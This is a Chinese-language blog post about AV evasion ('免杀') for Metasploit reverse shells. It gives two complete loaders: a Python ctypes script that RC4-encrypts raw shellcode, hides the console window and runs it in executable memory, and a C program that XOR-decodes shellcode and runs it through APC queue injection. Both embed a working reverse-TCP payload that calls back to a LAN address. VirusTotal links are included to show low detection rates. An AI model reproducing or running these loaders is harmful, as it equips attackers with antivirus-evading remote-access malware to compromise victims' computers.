这两天看了点东西,关于meterpreter shell免杀的,实践了下,发现用处并不大,但是好歹花了我两天时间,所以还是记录一下吧。

一个是用python调用ctypes外部库,然后用pyinstaller来打包成exe,就是体积比较大,单个exe有3MB多,毕竟得把运行库都给打包进去,还在可以勉强接受的范围

image-20191218133532941

免杀率的话,估计这个技术也出来了一段时间了,开始有一些厂商开始查杀了,但是好歹能过windows defender呀。

https://www.virustotal.com/gui/file/40440f8f2a7903abf16f03d21a0609a1f30f31d148b9fc40ded926b954e74194/detection

image-20191218133720774

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from ctypes import *
import ctypes
import sys, os, hashlib, time, base64

def rc4(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey) # 64
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
else:
return None
else:
return keyc + base64.b64encode(result)


buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
buf += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
buf += b"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe3\x91\x68\x02"
buf += b"\x00\x30\x21\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
buf += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
buf += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
buf += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
buf += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
buf += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
buf += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
buf += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
buf += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
buf += b"\x53\xff\xd5"
#libc = CDLL('libc.so.6')

buf=rc4(buf,'encode','6666666666666')

PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(rc4(buf, 'decode', '6666666666666'))

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 666==666:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

话说这个用rc4加密shellcode是不是有点杀鸡用牛刀的感觉了?毕竟静态查杀用一个xor就能免杀了,最后执行的时候还是得把最终的shellcode加载到内存里,像meterpreter的shellcode基本上是一杀一个准,不过好歹普通的windows/shell/reverse_tcp还能用。

另外一个是用纯c的方式,用APC注入方式来执行shellcode,大概思路就是用VirtualProtect函数来申请一段内存存放shellcode,每个线程可以异步执行shellcode,只要插入到APC队列中去,当这个线程被调度的时候,shellcode就会被执行,不过要让这个线程进入警戒状态(alertable state),可以通过SleepEx,SignalObjectAndWait,WaitForSingleObjectEx等等函数。

躲避静态查杀还是用了最简单的xor,key是在执行的时候提供的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#define WIN32_LEAN_AND_MEAN
#include <aclapi.h>
#include <stdbool.h>
#include <stdio.h>
#include <windows.h>

/*
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe3\x91"
"\x68\x02\x00\x30\x21\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
*/

unsigned char buf[] =
"\x9a\x9d\xe1\x6b\x65\x72\x01\xf9\x80\x43\xa6\x11\xe8\x3b\x55\xf9\x33\x7c"
"\xee\x20\x72\xfe\x11\x43\x6a\xc5\x2b\x56\x54\x8d\xca\x49\x02\x17\x67\x5e"
"\x41\xb1\xaa\x7f\x67\xb2\x81\x99\x37\x25\xea\x22\x75\xf9\x2c\x49\xe8\x27"
"\x74\x0a\x82\x38\x64\xa3\x37\xfe\x3a\x4b\x64\xa1\xea\x39\x7d\x91\x5c\x3c"
"\xe8\x5f\xee\x73\xb7\x41\x9a\xde\xa7\xba\x6e\x6a\xa2\x4a\x81\x05\x93\x71"
"\x1b\x8d\x58\x16\x41\x07\x85\x28\xee\x2a\x42\x74\xb0\x0d\xee\x7e\x2a\xfb"
"\x3d\x6e\x67\xa6\xe8\x6f\xee\x73\xb1\xf9\x21\x56\x42\x2e\x38\x0a\x3c\x28"
"\x30\x8f\x85\x2d\x39\x2f\xe8\x79\x8e\xff\x3c\x18\x56\x40\x66\x75\x0b\x1c"
"\x16\x40\x3e\x24\x0d\x3e\x11\x53\x64\xe2\x8d\x8d\xb1\xc8\xf5\x73\x66\x75"
"\x4a\xaf\x31\x22\x09\x59\xe5\x19\x66\x8a\xb6\x01\x6f\x1a\xa1\xd8\x86\xe3"
"\x0e\x77\x63\x5b\x44\xfb\x87\x20\x35\x22\x36\x35\x33\x2b\x35\x1a\x8b\x7f"
"\xba\x92\x99\xa0\xf4\x01\x75\x24\x36\x18\xfc\xd7\x12\x14\x9c\xbe\xe0\xb2"
"\x15\x7a\x9a\x3c\x6e\x00\x8f\x83\x02\x72\x61\x70\x0f\x72\x0c\x71\x35\x3c"
"\x0d\x70\xb8\xb8\x3a\x8d\xb3\xf6\x9b\x6b\x1b\x44\xea\x46\x0f\x32\x0e\x75"
"\x73\x6b\x65\x24\x0b\x70\x0d\x2a\xc2\x26\x86\x94\xb0\xe1\x32\x1a\x65\x24"
"\x35\x22\x0b\x69\xbc\xba\x3e\x8f\xb0\xf1\x9e\x75\x1e\x43\x3d\x1a\x61\x30"
"\x65\x72\x0c\x75\x33\x03\x6e\x5d\x6e\x40\x9a\xa7\x31\x1d\x16\x05\x28\x13"
"\x9e\xa5\x3b\x2c\x99\x79\x47\x64\xe0\x02\x9e\x8f\x9a\x9b\xfd\x8a\x9c\x94"
"\x64\xb1\x48\xb6\x10\xb3\xa5\xce\x93\xde\xc7\x24\x0b\x70\x36\x8d\xb3";

const int blen = 341;

void xor_encoder(const char *key, bool show) {
const int klen = strlen(key);
for (int i = 0; i < blen; ++i) {
buf[i] ^= key[i % klen];
}
if (show) {
for (int i = 0; i < blen; ++i) {
printf("\\x%02x", buf[i]);
}
}
}

static void execute_shellcode(const char *key) {
DWORD p_old;
xor_encoder(key, false);
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READ, (PDWORD)&p_old);
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), (ULONG_PTR)NULL);
SleepEx(5000, TRUE);
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: %s key\n", argv[0]);
}
execute_shellcode(argv[1]);
// xor_encoder(argv[1], true);
return 0;
}

这个方法的好处嘛,编译生成的exe体积小,毕竟是纯c写的,另外被查杀的概率也比较小。

image-20191218140643927

https://www.virustotal.com/gui/file/8ebfa0d7757c22c9bc2353d9571faba0bd0a6665fc9935ec3941d4ec25b235fd/detection

image-20191218140712405

参考资料:

CS强化_python免杀
APC Queue Code Injection
AtomBombing利用分析
HackTheBox - HackBack